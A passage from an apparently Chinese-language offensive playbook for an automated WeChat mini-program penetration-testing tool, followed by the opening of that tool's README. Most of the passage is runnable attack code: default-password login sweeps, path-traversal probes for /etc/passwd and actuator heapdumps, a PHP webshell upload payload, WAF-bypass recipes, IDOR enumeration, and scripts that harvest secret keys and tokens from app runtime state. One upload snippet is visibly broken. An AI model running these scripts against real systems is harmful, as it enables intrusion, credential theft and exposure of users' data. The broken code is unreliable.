  1133. # Step 3: 按认证体系分类(而非按 appId 分类)
  1134. # 不要按 appId 建立分析筒仓,而是按认证类型建立统一的接口清单:
  1135. # Bearer JWT 系: /v2/userinfor/... + /v2/wechat/... (Authorization header)
  1136. # Token+Sign 系: /yin/applet/... (auth-token + Authen-Sign)
  1137. # Cookie 系: /api-zd-wap/... (Cookie header)
  1138. # enc 参数系: /wx/lecture/... + /cx/recommend/... (enc query param)
  1139. # Step 4: 统一执行 Phase 2 全套分析,覆盖所有认证系的接口
  1140. analysis_ops(action="get_api_inventory") → 不按 appId 过滤,全量分析
  1141. analysis_ops(action="find_idor_candidates") → 跨 appId 寻找 IDOR
  1142. analysis_ops(action="analyze_auth_surface") → 覆盖所有认证机制
  1143. ```
  1144. **⑥ Authen-Sign 复合签名头识别与分析(v2.6 新增)**
  1145. ```
  1146. # Authen-Sign 格式(常见于医疗/政务类小程序后端):
  1147. # {user-uuid},{timestamp-ms},{base64(md5_hash)},{platform}
  1148. # 示例: fa7a24fe-ba43-4636-84cf-87b22e77d025,1779600226434,Y2M2MDg1MT...,miniprogram
  1149. #
  1150. # 各段含义:
  1151. # Part 1 (UUID): 用户/设备标识(不随请求变化)
  1152. # Part 2 (timestamp): 毫秒时间戳(服务端验证时效窗口)
  1153. # Part 3 (base64): base64(MD5(something)) — 完整性 hash,32字节
  1154. # Part 4 (platform): 固定字符串 "miniprogram" / "h5" / "web"
  1155. #
  1156. # 安全评估要点:
  1157. # 1. 时效窗口: 对比两次请求的 timestamp 差值 → 若超过 5 分钟仍有效 → 重放窗口过长
  1158. # 2. Part3 hash 算法: 用 decrypt_ops(action="decode_base64") 解码后看是否为 32 位 hex
  1159. # → 若是 MD5 格式,尝试碰撞: MD5(uuid), MD5(uuid+timestamp), MD5(token) 等
  1160. # 3. UUID 是否与 uid 相关: 若 UUID = MD5(uid) 或 UUID 可通过 uid 推算 → IDOR 风险
  1161. # 4. 测试无 Authen-Sign 时的响应: 若返回 500 而非 401/403 → 服务端存在错误处理缺陷
  1162. # 捕获真实 Authen-Sign(用于重放测试):
  1163. network_ops(action="hook_wx_request")
  1164. → 触发下一次包含 Authen-Sign 的请求
  1165. → network_ops(action="get_all_requests") 获取最新请求的完整 headers
  1166. → 提取 Authen-Sign 原值,在时效窗口内重用于 IDOR 测试
  1167. ```
  1168. ### 2.6 接口参数 Fuzz 建议
  1169. ```
  1170. analysis_ops(action="passive_param_fuzz_suggestions", request_id="<id>")
  1171. → 按参数类型生成 Fuzz 建议(只建议,不自动发送):
  1172. ├─ 数字参数 → 负数/零/极大值/浮点数/字符串
  1173. ├─ 字符串参数 → XSS payload/SQL 注入探测/路径遍历
  1174. ├─ 枚举参数 → 越界值/空值/null
  1175. └─ JSON body → 类型混淆/原型污染探测
  1176. ```
  1177. ### 2.7 重放与对比
  1178. ```
  1179. analysis_ops(action="build_replay_plan", request_id="<id>")
  1180. → 生成人工重放测试计划(只生成,不自动发送)
  1181. # 签名重放验证:
  1182. analysis_ops(action="compare_two_requests", request_id_a="<同一接口请求1>", request_id_b="<同一接口请求2>")
  1183. → 对比 sign/timestamp/nonce 的差异和绑定关系
  1184. → 判断: 签名是否绑定请求体?timestamp 窗口多长?nonce 是否一次性?
  1185. ```
  1186. ---
  1187. ### 2.8 HTTP 响应码行为变化检测(v2.7 新增)
  1188. **核心思路:通过向已知敏感端点(传统登录接口、文件上传端点、CVE 路径)发送探测请求,根据 HTTP 响应码组合推断安全策略演进和架构迁移,在深入逆向前先建立完整行为地图。**
  1189. ```
  1190. HTTP 响应码行为变化矩阵:
  1191. ├─ 默认口令登录尝试 → 404 ← 认证已迁移至 OAuth2/OIDC,原端点下线
  1192. ├─ 文件上传接口探测 → 404 ← 功能下线或路径迁移
  1193. ├─ 路径遍历 CVE 探针 → 404 ← 漏洞已修补(路径不存在)
  1194. │ → WAF 418 ← WAF 主动拦截(商业 WAF 特征码)
  1195. └─ 带路由参数端点 → HTTP 200 ← REST 路由存活,行为变化(IDOR 高价值面)
  1196. ```
  1197. **① 认证机制迁移探测(传统登录 → OAuth2)**
  1198. ```
  1199. # Step 1: 批量探测传统登录端点存活性
  1200. runtime_ops(action="runtime_eval", expression="(async ()=>{
  1201. var paths=[
  1202. '/login','/api/login','/api/auth/login','/api/user/login',
  1203. '/api/v1/login','/api/v2/login','/auth/login','/user/login',
  1204. '/api/token','/oauth/token','/api/signin','/api/users/login'
  1205. ];
  1206. var results=[];
  1207. for(var p of paths){
  1208. var r=await fetch(p,{method:'POST',
  1209. headers:{'Content-Type':'application/json'},
  1210. body:JSON.stringify({username:'admin',password:'admin'})});
  1211. results.push({path:p,status:r.status});
  1212. }
  1213. return JSON.stringify(results,null,2);
  1214. })()")
  1215. ```
  1216. | 状态码 | 含义 | 后续操作 |
  1217. |--------|------|---------|
  1218. | **404** | 端点下线 → 认证已迁移 | 执行步骤 2 发现 OAuth2 端点 |
  1219. | **302 → /oauth/** | OAuth2 迁移确认 | 分析授权流程,测试 redirect_uri 绕过 |
  1220. | **401** / **400** | 端点存活,凭据验证失败 | 进行弱口令 / 默认口令测试 |
  1221. | **200** + token 字段 | 🔴 弱口令命中 | 提取 token,测试越权 |
  1222. | **429** | 速率限制生效 | ✅ 防暴力破解有效;记录限制强度 |
  1223. ```
  1224. # Step 2: OAuth2 / SSO 端点发现(传统登录返回 404 后执行)
  1225. runtime_ops(action="runtime_eval", expression="(async ()=>{
  1226. var oauthPaths=[
  1227. '/.well-known/openid-configuration',
  1228. '/oauth/authorize','/oauth/token','/connect/token',
  1229. '/sso/login','/cas/login','/saml/login',
  1230. '/api/oauth2/token','/auth/oauth/token'
  1231. ];
  1232. var results=[];
  1233. for(var p of oauthPaths){
  1234. var r=await fetch(p);
  1235. if(r.status!==404) results.push({path:p,status:r.status});
  1236. }
  1237. return JSON.stringify(results,null,2);
  1238. })()")
  1239. ```
  1240. > ⚠️ **迁移盲区**:旧端点 404 不等于认证完全安全。检查:1) Storage 中是否存有旧 token;2) 旧 API 版本(/v1/ vs /v2/)是否同步迁移;3) refresh_token 接口是否仍接受旧格式凭据。
  1241. **② 文件上传接口存活检测**
  1242. ```
  1243. # GET + POST 双探文件上传端点
  1244. runtime_ops(action="runtime_eval", expression="(async ()=>{
  1245. '/avatar','/api/avatar','/import','/api/import',
  1246. '/attach','/api/attach'
  1247. ];
  1248. var token='<当前token>';
  1249. var results=[];
  1250. var g=await fetch(path,{method:'GET',
  1251. headers:{'Authorization':'Bearer '+token}});
  1252. var fd=new FormData();
  1253. fd.append('file',new Blob(['test'],{type:'text/plain'}),'test.txt');
  1254. var p=await fetch(path,{method:'POST',
  1255. headers:{'Authorization':'Bearer '+token},body:fd});
  1256. if(g.status!==404||p.status!==404)
  1257. results.push({path:path,GET:g.status,POST:p.status});
  1258. }
  1259. return JSON.stringify(results,null,2);
  1260. })()")
  1261. ```
  1262. | GET | POST | 含义 | 后续操作 |
  1263. |-----|------|------|---------|
  1264. | **404** | **404** | 端点完全下线 | 跳过;检查流量中是否有云 OSS 直传签名请求 |
  1265. | **404** | **200/400** | 仅接受 POST | 进行文件上传漏洞测试 |
  1266. | **405** | **200/400** | 端点存活,GET 不被允许 | 进行文件上传漏洞测试 |
  1267. | **401/403** | **401/403** | 需要认证 | 带有效 token 重测 |
  1268. | **200/201** | **200/201** | 端点存活 | 测试扩展名 / Content-Type / Magic Bytes 三层绕过 |
  1269. > 发现存活上传端点后,按以下优先级测试:`.php/.phar/.php5` 扩展名 → Content-Type 伪造(`image/gif`)→ Magic Bytes 文件头(`GIF89a<?php system($_GET['cmd']); ?>`)→ 双扩展名(`shell.php.gif`)→ 上传成功后访问文件路径确认是否可执行。
  1270. **③ 路径遍历 CVE 探针与 WAF 指纹识别**
  1271. ```
  1272. # 路径遍历 CVE 探针(含 WAF 418 检测)
  1273. runtime_ops(action="runtime_eval", expression="(async ()=>{
  1274. var probes=[
  1275. {label:'basic_lfi', path:'/../../../etc/passwd'},
  1276. {label:'encoded_lfi', path:'/%2e%2e/%2e%2e/etc/passwd'},
  1277. {label:'double_encoded', path:'/%252e%252e/%252e%252e/etc/passwd'},
  1278. {label:'null_byte', path:'/../../../etc/passwd%00.jpg'},
  1279. {label:'semicolon_spring', path:'/static/..;/WEB-INF/web.xml'},
  1280. {label:'actuator_env', path:'/actuator/env'},
  1281. {label:'actuator_heap', path:'/actuator/heapdump'},
  1282. {label:'double_slash', path:'//etc//passwd'},
  1283. {label:'windows_ini', path:'/../../../windows/win.ini'},
  1284. {label:'dot_segment', path:'/./etc/passwd'},
  1285. ];
  1286. var results=[];
  1287. for(var p of probes){
  1288. var r=await fetch(p.path,{method:'GET'});
  1289. var hdrs={};
  1290. for(var [k,v] of r.headers) hdrs[k]=v;
  1291. results.push({
  1292. label:p.label,status:r.status,
  1293. wafHint:hdrs['server']||hdrs['x-protected-by']||hdrs['cf-ray']||'',
  1294. preview:(await r.text()).slice(0,150)
  1295. });
  1296. }
  1297. return JSON.stringify(results,null,2);
  1298. })()")
  1299. ```
  1300. | 状态码 | 含义 | 后续操作 |
  1301. |--------|------|---------|
  1302. | **200** + `root:x:0:0` 或文件内容 | 🔴 路径遍历确认 | 枚举 `/etc/shadow`、`.env`、SSH 私钥 |
  1303. | **200** + 空/JSON 响应 | 路径被规范化,无漏洞 | 记录为已防御 |
  1304. | **404** | 已修补 或 WAF 统一返回 404 | 尝试双重编码变体(`%252e`)|
  1305. | **403** | ACL 或 WAF 拦截 | 测试路径操纵绕过(`..;/`、`%2e%2e/`)|
  1306. | **418** | 🔴 **WAF 主动拦截**(商业 WAF 特征码)| 识别 WAF 厂商,执行绕过流程 |
  1307. | **406** | WAF 拦截(ModSecurity 常见)| 尝试 chunked 传输绕过 |
  1308. **WAF 指纹速查(418 响应时读取响应头 / Body):**
  1309. ```
  1310. 响应特征 → WAF 厂商 → 主要绕过策略
  1311. Server: cloudflare + cf-ray 头 → Cloudflare → chunked + 路径操纵
  1312. X-Sucuri-ID 头 → Sucuri WAF → 大小写 + 空格替代
  1313. 响应体含 ModSecurity / NOYB → ModSecurity → 参数污染 HPP + 多行注释
  1314. 响应体含 安全狗 / safedog.cn → 安全狗 → 双重 URL 编码
  1315. 响应体含 宝塔 / bt.cn → 宝塔 WAF → chunked 分段传输
  1316. 响应体含 yunsuo / 云锁 → 云锁 → Unicode 全角编码
  1317. 阿里云拦截页 / 阿里云盾特征 → 阿里云盾 → 参数位置变换 + HPP
  1318. ```
  1319. > ⚠️ WAF 统一返回 404 时不能排除漏洞存在:尝试双重 URL 编码(`%252e%252e%252f`)或路径参数注入(`/app;foo=bar/../../../etc/passwd`),绕过 WAF 的路径匹配规则后观察后端响应。Spring Actuator 端点(`/actuator/env`、`/actuator/heapdump`)无需路径穿越即可泄露配置和内存 dump,优先检测。
  1320. **④ 带路由参数的服务端点发现(行为变化)**
  1321. ```
  1322. # REST 风格路由参数枚举——发现行为变化端点
  1323. runtime_ops(action="runtime_eval", expression="(async ()=>{
  1324. var token='<当前有效token>';
  1325. var resources=['users','orders','products','items','accounts',
  1326. 'members','profiles','records','projects','articles'];
  1327. var testIds=[1,2,3,100,'me','current',0,'undefined'];
  1328. var results=[];
  1329. for(var res of resources){
  1330. for(var id of testIds.slice(0,4)){
  1331. var r=await fetch('/api/'+res+'/'+id,{method:'GET',
  1332. headers:{'Authorization':'Bearer '+token}});
  1333. var body='';
  1334. if(r.status===200) body=(await r.text()).slice(0,300);
  1335. results.push({url:'/api/'+res+'/'+id,status:r.status,
  1336. preview:r.status===200?body:''});
  1337. }
  1338. }
  1339. return JSON.stringify(results.filter(r=>r.status===200),null,2);
  1340. })()")
  1341. ```
  1342. **行为变化判断标准:**
  1343. | 端点响应 | 行为变化类型 | 后续操作 |
  1344. |---------|-------------|---------|
  1345. | `/api/users/1` → 200 + 他人数据 | 🔴 **行为变化**:IDOR 面暴露 | 枚举相邻 ID,见 Phase 2.2 |
  1346. | `/api/users/1` → 200 + 自己数据 | ⚠️ 后端绑定 token,路径参数被忽略 | 换无效 token 确认是否真正绑定 |
  1347. | DELETE `/api/users/1` → 200 | 🔴 **行为变化**:越权写操作 | 立即确认并停止(避免误删真实数据)|
  1348. | `/api/users/undefined` → 200 | 🔴 **行为变化**:未初始化参数路径 | 见 Phase 2.2.1 undefined IDOR |
  1349. | `/api/users/0` → 200 + 特殊数据 | 🔴 边界值未过滤 | 检查 ID=0 是否为特权账号 |
  1350. | 所有路径返回 404 | 路由前缀不匹配 | 检查 /v1/ /v2/ /rest/ 等版本前缀 |
  1351. ```
  1352. # HTTP 方法枚举(确认允许方法 = 行为变化矩阵)
  1353. runtime_ops(action="runtime_eval", expression="(async ()=>{
  1354. var url='/api/<存活资源>/<id>';
  1355. var token='<token>';
  1356. var methods=['GET','POST','PUT','PATCH','DELETE','OPTIONS'];
  1357. var results=[];
  1358. for(var m of methods){
  1359. var init={method:m,headers:{'Authorization':'Bearer '+token,
  1360. 'Content-Type':'application/json'}};
  1361. if(m!=='GET') init.body=JSON.stringify({});
  1362. var r=await fetch(url,init);
  1363. results.push({method:m,status:r.status});
  1364. }
  1365. return JSON.stringify(results,null,2);
  1366. })()")
  1367. // GET/PUT/DELETE 同时返回 200 → 越权写操作风险(行为变化最高优先级)
  1368. // OPTIONS 返回 Allow 头 → 直接读取服务端允许方法列表
  1369. ```
  1370. ---
  1371. ## Phase 3:流量解密分析
  1372. ### 3.1 编码识别(第一步)
  1373. ```python
  1374. decrypt_ops(action="auto_detect_encoding", value="<未知编码值>")
  1375. # 返回 candidates: ["base64", "hex", "base64url", "url_encoded"] 等
  1376. ```
  1377. ### 3.2 单步解密
  1378. ```python
  1379. # AES-CBC(需 key 和 IV)
  1380. decrypt_ops(action="decrypt_payload",
  1381. value="<base64密文>",
  1382. algorithm="aes",
  1383. key="<key>",
  1384. iv="<iv>",
  1385. mode="cbc",
  1386. input_encoding="base64",
  1387. key_encoding="utf-8",
  1388. iv_encoding="utf-8")
  1389. # AES-ECB(无 IV)
  1390. decrypt_ops(action="decrypt_payload",
  1391. value="<base64密文>",
  1392. algorithm="aes",
  1393. key="<key>",
  1394. mode="ecb",
  1395. input_encoding="base64",
  1396. key_encoding="utf-8")
  1397. # 3DES-ECB(兼容 CryptoJS 零填充不足 24 字节 key)
  1398. decrypt_ops(action="decrypt_payload",
  1399. value="<base64密文>",
  1400. algorithm="3des",
  1401. key="ed1d2af1b7a9bc",
  1402. mode="ecb",
  1403. input_encoding="base64",
  1404. key_encoding="utf-8")
  1405. # RSA 解密(需 PEM 格式私钥)
  1406. decrypt_ops(action="decrypt_payload",
  1407. value="<base64密文>",
  1408. algorithm="rsa",
  1409. key="<PEM私钥>",
  1410. input_encoding="base64")
  1411. # MD5 / SHA / HMAC
  1412. decrypt_ops(action="decrypt_payload", value="<text>", algorithm="md5", input_encoding="utf-8")
  1413. decrypt_ops(action="decrypt_payload", value="<text>", algorithm="sha256", input_encoding="utf-8")
  1414. decrypt_ops(action="decrypt_payload", value="<data>", algorithm="hmac-sha256",
  1415. key="<key>", input_encoding="utf-8", key_encoding="utf-8")
  1416. ```
  1417. ### 3.3 多层解密流水线
  1418. ```python
  1419. # 三层解密:3DES-ECB → MD5-Key-Derive → AES-CBC(唯品会模式)
  1420. decrypt_ops(action="run_decrypt_pipeline",
  1421. value="<mina_edata_base64>",
  1422. steps=[
  1423. # Step 1: 3DES-ECB 解出 base_secret
  1424. {
  1425. "type": "3des",
  1426. "key": "ed1d2af1b7a9bc",
  1427. "mode": "ecb",
  1428. "input_encoding": "base64",
  1429. "key_encoding": "utf-8"
  1430. },
  1431. # Step 2: MD5 派生 AES key(base_secret + & + VIP_TANK)
  1432. {
  1433. "type": "md5-key-derive",
  1434. "key": "<VIP_TANK_session_token>",
  1435. "key_encoding": "utf-8"
  1436. },
  1437. # Step 3: AES-CBC 解密(key/iv 由流水线上下文自动注入)
  1438. {
  1439. "type": "aes",
  1440. "mode": "cbc",
  1441. "input_encoding": "base64"
  1442. }
  1443. ])
  1444. # 通用二层:AES-CBC 响应解密 → JSON parse
  1445. decrypt_ops(action="run_decrypt_pipeline",
  1446. value="<加密响应体>",
  1447. steps=[
  1448. {"type": "aes", "key": "<key>", "iv": "<iv>", "mode": "cbc",
  1449. "input_encoding": "base64", "key_encoding": "utf-8"},
  1450. {"type": "base64"} # 如果 AES 输出仍是 base64
  1451. ])
  1452. ```
  1453. ### 3.4 密码学攻击检测(v2.0 新增)
  1454. ```python
  1455. # ECB 模式检测 — 相同的 16 字节明文块产生相同的密文块
  1456. # 如果密文存在重复的 16 字节块 → ECB 模式 → 可进行块重排攻击
  1457. decrypt_ops(action="detect_ecb_pattern", value="<base64密文>")
  1458. # Padding Oracle 检测
  1459. # 修改密文末尾字节 → 观察服务端响应差异
  1460. # 500/padding error vs 200/data error → Oracle 存在
  1461. analysis_ops(action="compare_two_requests",
  1462. request_id_a="<原始请求>",
  1463. request_id_b="<篡改密文末尾字节的请求>")
  1464. # CBC Bit-Flip 检测
  1465. # 修改第 N 个密文 block → 精确翻转第 N+1 个明文 block 对应字节
  1466. # 适用于: role=user → role=admin 的加密 Cookie/Token
  1467. ```
  1468. ### 3.5 动态密钥追踪
  1469. 如果静态分析无法确定 key/IV,使用断点追踪:
  1470. ```
  1471. # 在加密函数调用前打断点
  1472. debugger_ops(action="break_on_xhr", url="/api/")
  1473. → 拦截 XHR 请求,在加密前暂停
  1474. debugger_ops(action="get_paused_info")
  1475. → 查看调用栈和作用域变量(含密钥值)
  1476. debugger_ops(action="evaluate_script",
  1477. expression="JSON.stringify({key: _aesKey, iv: _iv, mode: _cipherMode})")
  1478. → 在断点处动态求值获取密钥
  1479. debugger_ops(action="step", action_type="into")
  1480. → 单步进入加密函数
  1481. debugger_ops(action="resume_execution")
  1482. → 恢复执行
  1483. ```
  1484. ### 3.6 运行时加密发现
  1485. ```
  1486. decrypt_ops(action="discover_runtime_crypto_functions")
  1487. → 自动发现页面中可调用的加密/解密函数
  1488. decrypt_ops(action="call_runtime_crypto_function",
  1489. function_name="<函数名>",
  1490. args=["<参数1>", "<参数2>"])
  1491. → 在运行时调用加密函数,获取输入输出对照
  1492. ```
  1493. ---
  1494. ## Phase 4:逆向分析与代码审计
  1495. ### 4.1 代码保护类型识别
  1496. ```
  1497. # 第一步: 判断代码保护级别
  1498. debugger_ops(action="search_in_sources", query="webpackJsonp|__webpack_require__|webpackChunk")
  1499. → Webpack 打包 → 跳转 4.2
  1500. debugger_ops(action="search_in_sources", query="_0x[a-f0-9]{4,6}|var _0x|\\\\u0030|\\\\x30")
  1501. → OB 混淆 (obfuscator.io) → 跳转 4.3
  1502. debugger_ops(action="search_in_sources",
  1503. query="while.*true.*switch|for.*;;.*switch|case\\s+\\d{4,}:")
  1504. → JSVMP 虚拟机保护 → 跳转 4.4
  1505. ```
  1506. ### 4.2 Webpack 拆包分析
  1507. ```
  1508. # 列出所有 chunk
  1509. debugger_ops(action="search_in_sources", query="webpackChunkName|chunk-.*\\.js")
  1510. # 搜索特定 chunk 的内容
  1511. debugger_ops(action="get_script_source", url="<chunk URL>")
  1512. # 定位业务逻辑 chunk(按模块名搜索)
  1513. debugger_ops(action="search_in_sources", query="encrypt|decrypt|request|sign|api")
  1514. # Webpack 模块映射还原
  1515. # 每个模块通过 __webpack_require__(moduleId) 引用
  1516. # moduleId 通常在注释中标注: /* harmony import */ var _api = __webpack_require__(123)
  1517. # 搜索 __webpack_require__ 调用,建立 moduleId → 功能 映射表
  1518. ```
  1519. ### 4.3 OB 混淆还原
  1520. ```
  1521. # OB 混淆特征: _0x 前缀变量 + 十六进制字符串数组
  1522. # 还原步骤:
  1523. 1. 保存混淆脚本: debugger_ops(action="save_script_source", url="<URL>")
  1524. 2. 提取字符串数组: 查找脚本顶部的大数组定义 var _0xabcd = [...]
  1525. 3. 还原字符串引用: 将 _0x1234('0x1a2b') 替换为实际字符串值
  1526. 4. 变量重命名: 将 _0x 前缀变量根据用途重命名
  1527. 5. 控制流平坦化还原: 识别 switch-case 状态机 → 追踪状态转移 → 重组代码顺序
  1528. # 在运行时环境中还原字符串(利用小程序 JS 引擎)
  1529. runtime_ops(action="runtime_eval",
  1530. expression="(()=>{const arr=['hello','world','encrypt'];return arr.map((s,i)=>`_0x${i.toString(16)} = ${s}`).join('\\n')})()")
  1531. ```
  1532. ### 4.4 JSVMP 虚拟机保护分析
  1533. ```
  1534. # JSVMP 识别标志:
  1535. # - 单文件 200KB+,函数/变量名完全无意义
  1536. # - 自定义解释器: while(true) { switch(opcode) { ... } }
  1537. # - 改写/劫持浏览器原生 API(XHR / fetch / Cookie)
  1538. # - 超大字节码数组 + 指针变量 + 栈操作 + 跳转指令
  1539. # 路径选择决策:
  1540. ├─ JSVMP 劫持请求链路(XHR/fetch 拦截器)?
  1541. │ ├─ YES + 算法与环境深度绑定 → 走路径 B(动态 Hook 截取)
  1542. │ └─ YES + 签名逻辑相对独立 → 走路径 A(Hook 出入口追踪算法)
  1543. ├─ JSVMP 仅生成签名参数?
  1544. │ ├─ 确认使用标准算法 → 路径 A,纯算法还原
  1545. │ └─ 完全自定义 + 环境依赖重 → 路径 B
  1546. └─ 无法判断 → 先快速测试路径 B(30 分钟),不行再走路径 A
  1547. # 路径 A: Hook 出入口追踪
  1548. # Step 1: Hook 加密/签名的输入输出
  1549. runtime_ops(action="runtime_eval",
  1550. expression="(()=>{const orig=wx.request;wx.request=function(obj){if(obj.url.includes('/api/')){console.log('[REQ]',obj.url,JSON.stringify(obj.data).slice(0,500))};return orig.apply(this,arguments)}})()")
  1551. # Step 2: Hook 加密函数本身
  1552. debugger_ops(action="break_on_xhr", url="/api/")
  1553. → get_paused_info(include_scopes=True)
  1554. → evaluate_js 获取密钥和明文
  1555. # 路径 B: 动态 Hook 截取签名结果
  1556. # 在 wx.request 调用前注入 Hook,截取最终签名值
  1557. network_ops(action="hook_wx_request")
  1558. → 自动捕获加密前后的参数对比
  1559. ```
  1560. ### 4.5 小程序特有逆向要点
  1561. ```
  1562. # 1. wx.request 拦截
  1563. runtime_ops(action="runtime_eval",
  1564. expression="(()=>{const o=wx.request;wx.request=function(c){const s=new Error().stack;console.log('[STACK]',s.slice(0,500));return o.call(this,c)}})()")
  1565. # 2. 全局加密函数发现
  1566. runtime_ops(action="runtime_eval",
  1567. expression="(()=>Object.keys(globalThis).filter(k=>typeof globalThis[k]==='function'&&(k.toLowerCase().includes('encrypt')||k.toLowerCase().includes('decrypt')||k.toLowerCase().includes('sign')||k.toLowerCase().includes('crypto'))))()")
  1568. # 3. Storage 中的敏感密钥提取
  1569. runtime_ops(action="runtime_eval",
  1570. expression="(()=>{try{return JSON.stringify({sync:wx.getStorageInfoSync(),keys:wx.getStorageInfoSync().keys.filter(k=>/key|token|secret|sign|iv|crypto|aes|des/i.test(k))})}catch(e){return String(e)}})()")
  1571. # 4. 检测反调试
  1572. runtime_ops(action="runtime_eval",
  1573. expression="(()=>{const checks=[];try{eval('debugger')}catch(e){checks.push('eval_blocked')};if(Function.prototype.toString().includes('native'))checks.push('toString_ok');return checks})()")
  1574. ```
  1575. ### 4.6 批量断点追踪多个接口的加密调用栈
  1576. ```
  1577. # 对每个需要分析的加密接口:
  1578. for request_id in <加密请求列表>:
  1579. debugger_ops(action="break_on_xhr", url="<该请求的 API 路径>")
  1580. network_ops(action="trace_request_callstack", request_id=request_id)
  1581. → 记录: 加密函数名 + 文件位置 + 行号
  1582. → 同一加密函数被多个路由共享 → 集中分析该函数
  1583. → 不同路由使用不同加密函数 → 逐一分析
  1584. ```
  1585. ### 4.7 源码与运行时敏感信息检测(v2.8 重写 — 最高优先级)
  1586. **核心原则:密钥既可能硬编码在字符串字面量中(正则可扫),也可能藏在 `getApp().globalData`、Webpack 模块对象、require 导出的 config 模块、Storage 非关键词 key 中(正则扫不到)。两路并行,缺一不可。**
  1587. #### 4.7.0 运行时变量深度提取(v2.8 新增 — 先于正则扫描执行)
  1588. **执行时机:Phase 0 环境搭建完成后立即执行,不依赖 search_in_sources(cachedata 格式也有效)。**
  1589. ##### A. getApp().globalData 深度提取(命中率最高)
  1590. ```javascript
  1591. runtime_ops(action="runtime_eval_appservice",
  1592. expression="(()=>{
  1593. try{
  1594. var app=getApp();
  1595. if(!app) return 'getApp() returned null';
  1596. // 递归展开嵌套对象(最多 3 层),不做正则过滤,全量输出
  1597. function flat(obj,prefix,depth){
  1598. var r={};
  1599. if(depth>3||!obj||typeof obj!=='object'||Array.isArray(obj)) return r;
  1600. Object.keys(obj).forEach(function(k){
  1601. try{
  1602. var v=obj[k];
  1603. var fk=prefix?prefix+'.'+k:k;
  1604. if(typeof v==='object'&&v!==null) Object.assign(r,flat(v,fk,depth+1));
  1605. else r[fk]=String(v).slice(0,300);
  1606. }catch(e){}
  1607. });
  1608. return r;
  1609. }
  1610. var all=flat(app,'app',0);
  1611. // 第一遍:敏感字段关键词命中
  1612. var sensitive={};
  1613. Object.keys(all).forEach(function(k){
  1614. if(/token|secret|key|ak|sk|pass|auth|api|baseUrl|base_url|host|endpoint|env|appid|openid|unionid|bucket|region|oss|cos|cdn|sms|push|map|pay|private|mch/i.test(k))
  1615. sensitive[k]=all[k];
  1616. });
  1617. return JSON.stringify({
  1618. allCount:Object.keys(all).length,
  1619. sensitiveCount:Object.keys(sensitive).length,
  1620. sensitive:sensitive,
  1621. rawGlobalData:JSON.stringify(app.globalData||{}).slice(0,2000)
  1622. });
  1623. }catch(e){return 'ERR:'+String(e)}
  1624. })()")
  1625. → 典型命中:app.globalData.accessKeyId / secretKey / baseUrl / mapKey / smsKey
  1626. → 若 globalData 中发现 AK/SK → 🔴 CRITICAL,无需等正则扫描,立即报告
  1627. ```
  1628. ##### B. Webpack 模块缓存遍历(config.js / constants.js / request.js 全命中)
  1629. ```javascript
  1630. runtime_ops(action="runtime_eval_appservice",
  1631. expression="(()=>{
  1632. try{
  1633. // __webpack_require__.c 是已缓存的模块实例;.m 是模块定义函数
  1634. var cache=null;
  1635. if(typeof __webpack_require__!=='undefined'){
  1636. cache=__webpack_require__.c||__webpack_require__.m;
  1637. }
  1638. if(!cache) return JSON.stringify({status:'webpack not found'});
  1639. var hits=[];
  1640. Object.keys(cache).forEach(function(k){
  1641. try{
  1642. var mod=cache[k];
  1643. var exp=mod&&mod.exports!==undefined?mod.exports:mod;
  1644. var s=JSON.stringify(exp);
  1645. if(!s||s.length<5||s.length>30000) return;
  1646. if(/secret|apiKey|api_key|accessKey|access_key|appSecret|app_secret|baseUrl|base_url|apiUrl|api_url|apiHost|api_host|bucket|oss.*config|cos.*config|cdnUrl|smsKey|pushKey|mapKey|mchId|mchKey|payKey|privateKey|paySecret/i.test(s)){
  1647. hits.push({moduleId:k, preview:s.slice(0,500)});
  1648. }
  1649. }catch(e){}
  1650. });
  1651. return JSON.stringify({totalModules:Object.keys(cache).length,hitCount:hits.length,hits:hits.slice(0,15)});
  1652. }catch(e){return 'ERR:'+String(e)}
  1653. })()")
  1654. → 关键说明:Webpack 压缩后对象属性名不变(如 baseUrl/secretKey),即使变量名变了属性名也在
  1655. → 命中含 secretKey/appSecret 的模块 → 提取完整内容,确认值是否为真实密钥
  1656. ```
  1657. ##### C. require() 主动加载已知 config 模块路径
  1658. ```javascript
  1659. runtime_ops(action="runtime_eval_appservice",
  1660. expression="(()=>{
  1661. var paths=[
  1662. 'config','./config','../config',
  1663. 'config/index','../config/index','../../config/index',
  1664. 'utils/config','utils/request','utils/http','utils/api','utils/constant',
  1665. 'common/config','common/constants','common/api','common/env',
  1666. 'api/config','api/base','api/index',
  1667. 'constants','./constants','../constants',
  1668. 'env','./env','../env','./settings','settings',
  1669. 'store/index','store/modules/user',

Lines 2,001–3,245 are not shown. The link to the file on GitHub has every line.

README.md · README · 69 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. # e0e1-wx-gui
  2. ![Platform](https://img.shields.io/badge/Platform-Windows_10%2F11-0078D4)
  3. ![Python](https://img.shields.io/badge/Python-3.10%2B-3776AB)
  4. ![GUI](https://img.shields.io/badge/GUI-PySide6-41CD52)
  5. 一款面向 Windows 的微信小程序本地分析 GUI 工具,提供小程序包监控、自动反编译、mcp+skill自动化渗透、js注入、正则匹配、代码优化、DevTools CDP、路由查看、云函数分析以及常用加密解密辅助能力。
  6. > 本项目仅用于授权安全研究、学习和调试场景,请勿用于未授权目标或违反相关法律法规的用途。
  7. ## 项目简介
  8. `e0e1-wx-gui` 主要用于辅助分析本机运行中的微信小程序。工具会围绕小程序包捕获、反编译、代码检索、动态调试和云函数分析等场景提供图形化支持,降低手工整理和来回切换工具的成本。
  9. 如果你是第一次使用,建议先阅读 [tools.md](./tools.md) 中的配置说明,再启动程序。
  10. ## 主要能力
  11. - 自动检测正在运行的小程序,并记录主包、分包等加密包信息。
  12. - 自动反编译小程序源代码,便于后续审计和静态分析。
  13. - 内置正则匹配、文件搜索和定位能力,支持快速跳转到目标内容。
  14. - 支持对反编译后的代码进行格式化和可读性优化。
  15. - 提供 DevTools CDP 调试辅助,方便接入浏览器调试链路。
  16. - 支持读取小程序路由并辅助跳转到目标页面。
  17. - 支持云函数静态扫描,并可手动触发目标云函数。
  18. - 提供常用加密解密辅助能力,便于还原和分析数据。
  19. ## 环境要求
  20. | 项目 | 要求 |
  21. | --- | --- |
  22. | 操作系统 | Windows 10 / Windows 11 |
  23. | Python | 3.10+、3.11+ |
  24. | 微信环境 | 本机需存在受支持的微信小程序运行环境 |
  25. | 当前配置覆盖版本 | `11581` - `19459` |
  26. ## 快速开始
  27. 进入项目目录后,建议先创建虚拟环境,再安装依赖并启动程序:
  28. ```powershell
  29. python -m venv .venv
  30. .\.venv\Scripts\Activate.ps1
  31. pip install -r requirements.txt
